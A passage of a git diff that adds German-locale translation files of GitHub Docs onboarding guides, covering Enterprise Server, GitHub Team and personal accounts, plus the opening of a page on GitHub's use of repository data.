+{% data reusables.getting-started.enforcing-repo-management-policies %}
+
+## Part 3: Building securely
+To increase the security of {% data variables.location.product_location %}, you can configure authentication for enterprise members, use tools and audit logging to stay in compliance, configure security and analysis features for your organizations, and optionally enable {% data variables.product.prodname_GH_advanced_security %}.
+### 1. Authenticating enterprise members
+You can use {% data variables.product.product_name %}'s built-in authentication method, or you can choose between an external authentication provider, such as CAS, LDAP, or SAML, to integrate your existing accounts and centrally manage user access to {% data variables.location.product_location %}. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)."
+
+You can also require two-factor authentication for each of your organizations. For more information, see "[Requiring two factor authentication for an organization](/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization)."
+
+### 2. Staying in compliance
+You can implement required status checks and commit verifications to enforce your organization's compliance standards and automate compliance workflows. You can also use the audit log for your organization to review actions performed by your team. For more information, see "[Enforcing policy with pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks)" and "[About the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)."
+
+{% ifversion ghes %}
+### 3. Configuring security features for your organizations
+{% data reusables.getting-started.configuring-security-features %}
+{% endif %}
+
+{% ifversion ghes %}
+### 4. Enabling {% data variables.product.prodname_GH_advanced_security %} features
+You can upgrade your {% data variables.product.product_name %} license to include {% data variables.product.prodname_GH_advanced_security %}. This provides extra features that help users find and fix security problems in their code, such as code and secret scanning. For more information, see "[{% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)."
+{% endif %}
+
+## Part 4: Customizing and automating your enterprise's work on {% data variables.product.prodname_dotcom %}
+You can customize and automate work in organizations in your enterprise with {% data variables.product.prodname_dotcom %} and {% data variables.product.prodname_oauth_apps %}, {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} , and {% data variables.product.prodname_pages %}.
+
+### 1. Building {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}
+You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, such as {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, for use in organizations in your enterprise to complement and extend your workflows. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)."
+### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+{% data reusables.getting-started.api %}
+
+{% ifversion ghes %}
+### 3. Building {% data variables.product.prodname_actions %}
+{% data reusables.getting-started.actions %}
+
+For more information on enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
+
+### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+{% data reusables.getting-started.packages %}
+
+For more information on enabling and configuring {% data variables.product.prodname_registry %} for {% data variables.location.product_location %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
+{% endif %}
+
+### 5. Using {% data variables.product.prodname_pages %}
+{% data reusables.getting-started.github-pages-enterprise %}
+
+## Part 5: Connecting with other {% data variables.product.prodname_dotcom %} resources
+You can use {% data variables.product.prodname_github_connect %} to share resources.
+
+If you are the owner of both a {% data variables.product.product_name %} instance and a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account, you can enable {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} allows you to share specific workflows and features between {% data variables.location.product_location %} and {% data variables.product.prodname_ghe_cloud %}, such as unified search and contributions. For more information, see "[Connecting {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/connecting-github-enterprise-server-to-github-enterprise-cloud)."
+
+## Part 6: Using {% data variables.product.prodname_dotcom %}'s learning and support resources
+Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need when setting up and managing {% data variables.location.product_location %} with {% data variables.product.prodname_dotcom %} Enterprise Support.
+
+### 1. Reading about {% data variables.product.product_name %} on {% data variables.product.prodname_docs %}
+
+You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_server %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+
+{% data reusables.enterprise.best-practices %}
+
+### 2. Learning with {% data variables.product.prodname_learning %}
+{% data reusables.getting-started.learning-enterprise %}
+
+### 3. Working with {% data variables.product.prodname_dotcom %} Enterprise Support
+{% data reusables.getting-started.contact-support-enterprise %}
diff --git a/translations/de-DE/content/get-started/onboarding/getting-started-with-github-team.md b/translations/de-DE/content/get-started/onboarding/getting-started-with-github-team.md
new file mode 100644
index 0000000000..0f9f02a3ef
--- /dev/null
+++ b/translations/de-DE/content/get-started/onboarding/getting-started-with-github-team.md
@@ -0,0 +1,99 @@
+---
+title: Getting started with GitHub Team
+intro: 'With {% data variables.product.prodname_team %} groups of people can collaborate across many projects at the same time in an organization account.'
+versions:
+  fpt: '*'
+---
+
+This guide will walk you through setting up, configuring and managing your {% data variables.product.prodname_team %} account as an organization owner.
+
+## Part 1: Configuring your account on {% data variables.location.product_location %}
+As the first steps in starting with {% data variables.product.prodname_team %}, you will need to create a personal account or log into your existing account on {% data variables.product.prodname_dotcom %}, create an organization, and set up billing.
+
+### 1. About organizations
+Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features. For more information on the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)."
+
+### 2. Creating an organization and signing up for {% data variables.product.prodname_team %}
+Before creating an organization, you will need to create a personal account or log in to your existing account on {% data variables.location.product_location %}. For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)."
+
+Once your personal account is set up, you can create an organization and pick a plan. This is where you can choose a {% data variables.product.prodname_team %} subscription for your organization. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+
+### 3. Managing billing for an organization
+You must manage billing settings, payment method, and paid features and products for each of your personal accounts and organizations separately. You can switch between settings for your different accounts using the context switcher in your settings. For more information, see "[Switching between settings for your different accounts](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)."
+
+Your organization's billing settings page allows you to manage settings like your payment method, billing cycle and billing email, or view information such as your subscription, billing date and payment history. You can also view and upgrade your storage and GitHub Actions minutes. For more information on managing your billing settings, see "[Managing your {% data variables.product.prodname_dotcom %} billing settings](/billing/managing-your-github-billing-settings)."
+
+Only organization members with the *owner* or *billing manager* role can access or change billing settings for your organization. A billing manager is someone  who manages the billing settings for your organization and does not use a paid license in your organization's subscription. For more information on adding a billing manager to your organization, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)."
+
+
+## Part 2: Adding members and setting up teams
+After creating your organization, you can invite members and set permissions and roles. You can also create different levels of teams and set customized levels of permissions for your organization's repositories, project boards, and apps.
+
+### 1. Managing members of your organization
+{% data reusables.getting-started.managing-org-members %}
+
+### 2. Organization permissions and roles
+{% data reusables.getting-started.org-permissions-and-roles %}
+
+### 3. About and creating teams
+{% data reusables.getting-started.about-and-creating-teams %}
+### 4. Managing team settings
+{% data reusables.getting-started.managing-team-settings %}
+
+### 5. Giving people and teams access to repositories, project boards and apps
+{% data reusables.getting-started.giving-access-to-repositories-projects-apps %}
+## Part 3: Managing security for your organization
+You can help to make your organization more secure by recommending or requiring two-factor authentication for your organization members, configuring security features, and reviewing your organization's audit log and integrations.
+
+### 1. Requiring two-factor authentication
+{% data reusables.getting-started.requiring-2fa %}
+
+### 2. Configuring security features for your organization
+{% data reusables.getting-started.configuring-security-features %}
+
+### 3. Reviewing your organization's audit log and integrations
+{% data reusables.getting-started.reviewing-org-audit-log-and-integrations %}
+
+## Part 4: Setting organization level policies
+### 1. Managing organization policies
+{% data reusables.getting-started.managing-org-policies %}
+### 2. Managing repository changes
+{% data reusables.getting-started.managing-repo-changes %}
+### 3. Using organization-level community health files and moderation tools
+{% data reusables.getting-started.using-org-community-files-and-moderation-tools %}
+## Part 5: Customizing and automating your work on {% data variables.product.product_name %}
+
+{% data reusables.getting-started.customizing-and-automating %}
+### 1. Using {% data variables.product.prodname_marketplace %}
+{% data reusables.getting-started.marketplace %}
+### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+{% data reusables.getting-started.api %}
+
+### 3. Building {% data variables.product.prodname_actions %}
+{% data reusables.getting-started.actions %}
+
+### 4. Publishing and managing {% data variables.product.prodname_registry %} 
+{% data reusables.getting-started.packages %}
+
+## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community
+{% data reusables.getting-started.participating-in-community %}
+### 1. Contributing to open source projects
+{% data reusables.getting-started.open-source-projects %}
+
+### 2. Interacting with the {% data variables.product.prodname_gcf %}
+{% data reusables.support.ask-and-answer-forum %}
+
+### 3. Reading about {% data variables.product.prodname_team %} on {% data variables.product.prodname_docs %}
+You can read documentation that reflects the features available with {% data variables.product.prodname_team %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+
+### 4. Learning with {% data variables.product.prodname_learning %}
+{% data reusables.getting-started.learning %}
+
+### 5. Supporting the open source community
+{% data reusables.getting-started.sponsors %}
+
+### 6. Contacting {% data variables.contact.github_support %}
+{% data reusables.getting-started.contact-support %}
+## Further reading
+
+- "[Getting started with your GitHub account](/get-started/onboarding/getting-started-with-your-github-account)"
diff --git a/translations/de-DE/content/get-started/onboarding/getting-started-with-your-github-account.md b/translations/de-DE/content/get-started/onboarding/getting-started-with-your-github-account.md
new file mode 100644
index 0000000000..9fe0d1f65c
--- /dev/null
+++ b/translations/de-DE/content/get-started/onboarding/getting-started-with-your-github-account.md
@@ -0,0 +1,203 @@
+---
+title: Getting started with your GitHub account
+intro: 'With a personal account on {% data variables.product.prodname_dotcom %}, you can import or create repositories, collaborate with others, and connect with the {% data variables.product.prodname_dotcom %} community.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+
+This guide will walk you through setting up your {% data variables.product.company_short %} account and getting started with {% data variables.product.product_name %}'s features for collaboration and community.
+
+## Part 1: Configuring your {% data variables.product.prodname_dotcom %} account
+
+{% ifversion fpt or ghec %}
+The first steps in starting with {% data variables.product.product_name %} are to create an account, choose a product that fits your needs best, verify your email, set up two-factor authentication, and view your profile.
+{% elsif ghes %}
+The first steps in starting with {% data variables.product.product_name %} are to access your account, set up two-factor authentication, and view your profile.
+{% elsif ghae %}
+The first steps in starting with {% data variables.product.product_name %} are to access your account and view your profile.
+{% endif %}
+
+{% ifversion fpt or ghec %}There are several types of accounts on {% data variables.product.prodname_dotcom %}. {% endif %} Every person who uses {% data variables.product.product_name %} has their own personal account, which can be part of multiple organizations and teams. Your personal account is your identity on {% data variables.location.product_location %} and represents you as an individual.
+
+{% ifversion fpt or ghec %}
+### 1. Creating an account
+To sign up for an account on {% data variables.location.product_location %}, navigate to https://github.com/ and follow the prompts.
+
+To keep your {% data variables.product.prodname_dotcom %} account secure you should use a strong and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)."
+
+### 2. Choosing your {% data variables.product.prodname_dotcom %} product
+You can choose {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %} to get access to different features for your personal account. You can upgrade at any time if you are unsure at first which product you want.
+
+For more information on all of {% data variables.product.prodname_dotcom %}'s plans, see "[{% data variables.product.prodname_dotcom %}'s products](/get-started/learning-about-github/githubs-products)."
+
+### 3. Verifying your email address
+To ensure you can use all the features in your {% data variables.product.product_name %} plan, verify your email address after signing up for a new account. For more information, see "[Verifying your email address](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)."
+{% endif %}
+
+{% ifversion ghes %}
+### 1. Accessing your account
+The administrator of your {% data variables.product.product_name %} instance will notify you about how to authenticate and access your account. The process varies depending on the authentication mode they have configured for the instance.
+{% endif %}
+
+{% ifversion ghae %}
+### 1. Accessing your account
+You will receive an email notification once your enterprise owner for {% data variables.product.product_name %} has set up your account, allowing you to authenticate with SAML single sign-on (SSO) and access your account.
+{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} Configuring two-factor authentication
+Two-factor authentication, or 2FA, is an extra layer of security used when logging into websites or apps. We strongly urge you to configure 2FA for the safety of your account. For more information, see "[About two-factor authentication](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)."
+{% endif %}
+### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} Viewing your {% data variables.product.prodname_dotcom %} profile and contribution graph
+Your {% data variables.product.prodname_dotcom %} profile tells people the story of your work through the repositories and gists you've pinned, the organization memberships you've chosen to publicize, the contributions you've made, and the projects you've created. For more information, see "[About your profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)" and "[Viewing contributions on your profile](/github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile)."
+
+## Part 2: Using {% data variables.product.product_name %}'s tools and processes
+To best use {% data variables.product.product_name %}, you'll need to set up Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer. To effectively collaborate on {% data variables.product.product_name %}, you'll write in issues and pull requests using {% data variables.product.prodname_dotcom %} Flavored Markdown.
+
+### 1. Learning Git
+{% data variables.product.prodname_dotcom %}'s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update using Git. For more information about Git, see the "[Git Handbook](https://guides.github.com/introduction/git-handbook/)" guide. For more information about how Git is used on {% data variables.product.product_name %}, see "[{% data variables.product.prodname_dotcom %} flow](/get-started/quickstart/github-flow)."
+### 2. Setting up Git
+If you plan to use Git locally on your computer, whether through the command line, an IDE or text editor, you will need to install and set up Git. For more information, see "[Set up Git](/get-started/quickstart/set-up-git)."
+
+If you prefer to use a visual interface, you can download and use {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} comes packaged with Git, so there is no need to install Git separately. For more information, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)."
+
+Once you install Git, you can connect to {% data variables.product.product_name %} repositories from your local computer, whether your own repository or another user's fork. When you connect to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH. For more information, see "[About remote repositories](/get-started/getting-started-with-git/about-remote-repositories)."
+
+### 3. Choosing how to interact with {% data variables.product.product_name %}
+Everyone has their own unique workflow for interacting with {% data variables.product.prodname_dotcom %}; the interfaces and methods you use depend on your preference and what works best for your needs.
+
+For more information about how to authenticate to {% data variables.product.product_name %} with each of these methods, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github)."
+
+| **Method**  | **Description** | **Use cases** |
+| ------------- | ------------- | ------------- |
+| Browse to {% data variables.product.prodname_dotcom_the_website %} | If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete most Git-related actions directly in the browser, from creating and forking repositories to editing files and opening pull requests.| This method is useful if you want a visual interface and need to do quick, simple changes that don't require working locally. |
+| {% data variables.product.prodname_desktop %} | {% data variables.product.prodname_desktop %} extends and simplifies your {% data variables.product.prodname_dotcom_the_website %} workflow, using a visual interface instead of text commands on the command line. For more information on getting started with {% data variables.product.prodname_desktop %}, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)." | This method is best if you need or want to work with files locally, but prefer using a visual interface to use Git and interact with {% data variables.product.product_name %}. |
+| IDE or text editor  | You can set a default text editor like [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) to open and edit your files with Git, use extensions, and view the project structure. For more information, see "[Associating text editors with Git](/github/using-git/associating-text-editors-with-git)." | This is convenient if you are working with more complex files and projects and want everything in one place, since text editors or IDEs often allow you to directly access the command line in the editor. |
+| Command line, with or without {% data variables.product.prodname_cli %} | For the most granular control and customization of how you use Git and interact with {% data variables.product.product_name %}, you can use the command line. For more information on using Git commands, see "[Git cheatsheet](/github/getting-started-with-github/quickstart/git-cheatsheet)."<br/><br/> {% data variables.product.prodname_cli %} is a separate command-line tool you can install that brings pull requests, issues, {% data variables.product.prodname_actions %}, and other {% data variables.product.prodname_dotcom %} features to your terminal, so you can do all your work in one place. For more information, see "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)." | This is most convenient if you are already working from the command line, allowing you to avoid switching context, or if you are more comfortable using the command line. |
+| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} has a REST API and GraphQL API that you can use to interact with {% data variables.product.product_name %}. For more information, see "[Getting started with the API](/github/extending-github/getting-started-with-the-api)." | The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API would be most helpful if you wanted to automate common tasks, back up your data, or create integrations that extend {% data variables.product.prodname_dotcom %}. |
+### 4. Writing on {% data variables.product.product_name %}
+To make your communication clear and organized in issues and pull requests, you can use {% data variables.product.prodname_dotcom %} Flavored Markdown for formatting, which combines an easy-to-read, easy-to-write syntax with some custom functionality. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)."
+
+You can learn {% data variables.product.prodname_dotcom %} Flavored Markdown with the "[Communicate using Markdown](https://github.com/skills/communicate-using-markdown)" course on {% data variables.product.prodname_learning %}.
+
+### 5. Searching on {% data variables.product.product_name %}
+Our integrated search allows you to find what you are looking for among the many repositories, users and lines of code on {% data variables.product.product_name %}. You can search globally across all of {% data variables.product.product_name %} or limit your search to a particular repository or organization. For more information about the types of searches you can do on {% data variables.product.product_name %}, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github)."
+
+Our search syntax allows you to construct queries using qualifiers to specify what you want to search for. For more information on the search syntax to use in search, see "[Searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/searching-on-github)."
+
+### 6. Managing files on {% data variables.product.product_name %}
+With {% data variables.product.product_name %}, you can create, edit, move and delete files in your repository or any repository you have write access to. You can also track the history of changes in a file line by line. For more information, see "[Managing files on {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/managing-files-on-github)."
+
+## Part 3: Collaborating on {% data variables.product.product_name %}
+Any number of people can work together in repositories across {% data variables.product.product_name %}. You can configure settings, create project boards, and manage your notifications to encourage effective collaboration.
+
+### 1. Working with repositories
+
+#### Creating a repository
+A repository is like a folder for your project. You can have any number of public and private repositories in your personal account. Repositories can contain folders and files, images, videos, spreadsheets, and data sets, as well as the revision history for all files in the repository. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/about-repositories)."
+
+When you create a new repository, you should initialize the repository with a README file to let people know about your project. For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)."
+
+#### Cloning a repository
+You can clone an existing repository from {% data variables.product.product_name %} to your local computer, making it easier to add or remove files, fix merge conflicts, or make complex commits. Cloning a repository pulls down a full copy of all the repository data that {% data variables.product.prodname_dotcom %} has at that point in time, including all versions of every file and folder for the project. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)."
+
+#### Forking a repository
+A fork is a copy of a repository that you manage, where any changes you make will not affect the original repository unless you submit a pull request to the project owner. Most commonly, forks are used to either propose changes to someone else's project or to use someone else's project as a starting point for your own idea. For more information, see "[Working with forks](/github/collaborating-with-pull-requests/working-with-forks)."
+### 2. Importing your projects
+If you have existing projects you'd like to move over to {% data variables.product.product_name %} you can import projects using the {% data variables.product.prodname_dotcom %} Importer, the command line, or external migration tools. For more information, see "[Importing source code to {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github)."
+
+### 3. Managing collaborators and permissions
+You can collaborate on your project with others using your repository's issues, pull requests, and project boards. You can invite other people to your repository as collaborators from the **Collaborators** tab in the repository settings. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)."
+
+You are the owner of any repository you create in your personal account and have full control of the repository. Collaborators have write access to your repository, limiting what they have permission to do. For more information, see "[Permission levels for a personal account repository](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)."
+
+### 4. Managing repository settings
+As the owner of a repository you can configure several settings, including the repository's visibility, topics, and social media preview. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)."
+
+### 5. Setting up your project for healthy contributions
+{% ifversion fpt or ghec %}
+To encourage collaborators in your repository, you need a community that encourages people to use, contribute to, and evangelize your project. For more information, see "[Building Welcoming Communities](https://opensource.guide/building-community/)" in the Open Source Guides.
+
+By adding files like contributing guidelines, a code of conduct, and a license to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+{% endif %}
+{% ifversion ghes or ghae %}
+By adding files like contributing guidelines, a code of conduct, and support resources to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+{% endif %}
+
+### 6. Using GitHub Issues and project boards
+You can use GitHub Issues to organize your work with issues and pull requests and manage your workflow with project boards. For more information, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)" and "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)."
+
+### 7. Managing notifications
+Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} you've subscribed to or participated in. If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
+
+### 8. Working with {% data variables.product.prodname_pages %}
+You can use {% data variables.product.prodname_pages %} to create and host a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
+
+{% ifversion discussions %}
+### 9. Using {% data variables.product.prodname_discussions %}
+You can enable {% data variables.product.prodname_discussions %} for your repository to help build a community around your project. Maintainers, contributors and visitors can use discussions to share announcements, ask and answer questions, and participate in conversations around goals. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+{% endif %}
+## Part 4: Customizing and automating your work on {% data variables.product.product_name %}
+
+{% data reusables.getting-started.customizing-and-automating %}
+
+{% ifversion fpt or ghec %}
+### 1. Using {% data variables.product.prodname_marketplace %}
+{% data reusables.getting-started.marketplace %}
+{% endif %}
+### {% ifversion fpt or ghec %}2.{% else %}1.{% endif %} Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+{% data reusables.getting-started.api %}
+
+### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} Building {% data variables.product.prodname_actions %}
+{% data reusables.getting-started.actions %}
+
+### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publishing and managing {% data variables.product.prodname_registry %} 
+{% data reusables.getting-started.packages %}
+
+## Part 5: Building securely on {% data variables.product.product_name %}
+{% data variables.product.product_name %} has a variety of security features that help keep code and secrets secure in repositories. Some features are available for all repositories, while others are only available for public repositories and repositories with a {% data variables.product.prodname_GH_advanced_security %} license. For an overview of {% data variables.product.product_name %} security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
+
+### 1. Securing your repository
+As a repository administrator, you can secure your repositories by configuring repository security settings. These include managing access to your repository, setting a security policy, and managing dependencies. For public repositories, and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled, you can also configure code and secret scanning to automatically identify vulnerabilities and ensure tokens and keys are not exposed. 
+
+For more information on steps you can take to secure your repositories, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."
+
+{% ifversion fpt or ghec %}
+### 2. Managing your dependencies
+A large part of building securely is maintaining your project's dependencies to ensure that all packages and applications you depend on are updated and secure. You can manage your repository's dependencies on {% data variables.product.product_name %} by exploring the dependency graph for your repository, using Dependabot to automatically raise pull requests to keep your dependencies up-to-date, and receiving Dependabot alerts and security updates for vulnerable dependencies. 
+
+For more information, see "[Securing your software supply chain](/code-security/supply-chain-security)."
+{% endif %}
+
+## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community
+
+{% data reusables.getting-started.participating-in-community %}
+
+### 1. Contributing to open source projects
+{% data reusables.getting-started.open-source-projects %}
+
+### 2. Interacting with {% data variables.product.prodname_gcf %}
+{% data reusables.support.ask-and-answer-forum %}
+
+### 3. Reading about {% data variables.product.product_name %} on {% data variables.product.prodname_docs %}
+
+{% data reusables.docs.you-can-read-docs-for-your-product %}
+
+### 4. Learning with {% data variables.product.prodname_learning %}
+{% data reusables.getting-started.learning %}
+
+{% ifversion fpt or ghec %}
+### 5. Supporting the open source community
+{% data reusables.getting-started.sponsors %}
+
+### 6. Contacting {% data variables.contact.github_support %}
+{% data reusables.getting-started.contact-support %}
+
+{% ifversion fpt %}
+## Further reading
+- "[Getting started with {% data variables.product.prodname_team %}](/get-started/onboarding/getting-started-with-github-team)"
+{% endif %}
+{% endif %}
diff --git a/translations/de-DE/content/get-started/onboarding/index.md b/translations/de-DE/content/get-started/onboarding/index.md
new file mode 100644
index 0000000000..36561335ea
--- /dev/null
+++ b/translations/de-DE/content/get-started/onboarding/index.md
@@ -0,0 +1,22 @@
+---
+title: Onboarding
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /getting-started-with-your-github-account
+  - /getting-started-with-github-team
+  - /getting-started-with-github-enterprise-cloud
+  - /getting-started-with-github-enterprise-server
+  - /getting-started-with-github-ae
+ms.openlocfilehash: 8abc8a5a5cafe4664194d409ce9ac616c720e485
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131158'
+---
+
diff --git a/translations/de-DE/content/get-started/privacy-on-github/about-githubs-use-of-your-data.md b/translations/de-DE/content/get-started/privacy-on-github/about-githubs-use-of-your-data.md
new file mode 100644
index 0000000000..2b7c7bdf09
--- /dev/null
+++ b/translations/de-DE/content/get-started/privacy-on-github/about-githubs-use-of-your-data.md
@@ -0,0 +1,46 @@
+---
+title: Informationen zur Verwendung deiner Daten durch GitHub
+redirect_from:
+  - /articles/about-github-s-use-of-your-data
+  - /articles/about-githubs-use-of-your-data
+  - /github/understanding-how-github-uses-and-protects-your-data/about-githubs-use-of-your-data
+intro: '{% data variables.product.product_name %} verwendet die Daten deines Repositorys, um sie mit relevanten Tools, Personen, Projekten und Informationen zu verknüpfen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Policy
+  - Legal
+shortTitle: GitHub's use of your data
+ms.openlocfilehash: f49f90a981b92d2c7d5d34b0fac28ec05adbadd0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131157'
+---
+## Informationen über die Verwendung deiner Daten durch {% data variables.product.product_name %}
+
+{% data variables.product.product_name %} bündelt Metadaten und analysiert Inhaltsmuster, um allgemeine Erkenntnisse innerhalb des Produkts bereitzustellen. Dabei werden Daten aus öffentlichen Repositorys sowie Metadaten und aggregierte Daten aus privaten Repositorys genutzt, wenn der Besitzer eines Repositorys sich dafür entschieden hat, die Daten für {% data variables.product.product_name %} freizugeben, indem er das Abhängigkeitsdiagramm aktiviert hat. Wenn du das Abhängigkeitsdiagramm für ein privates Repository aktivierst, führt {% data variables.product.product_name %} eine schreibgeschützte Analyse dieses privaten Repositorys durch.
+
+Wenn du die Datennutzung für ein privates Repository aktivierst, behandeln wir deine privaten Daten, Quellcode oder Geschäftsgeheimnisse gemäß unseren [Vertragsbedingungen](/free-pro-team@latest/github/site-policy/github-terms-of-service) weiterhin vertraulich und privat. Die Informationen, die wir erhalten, stammen ausschließlich aus aggregierten Daten. Weitere Informationen findest du unter [Verwalten von Datenverwendungseinstellungen für dein privates Repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository).
+
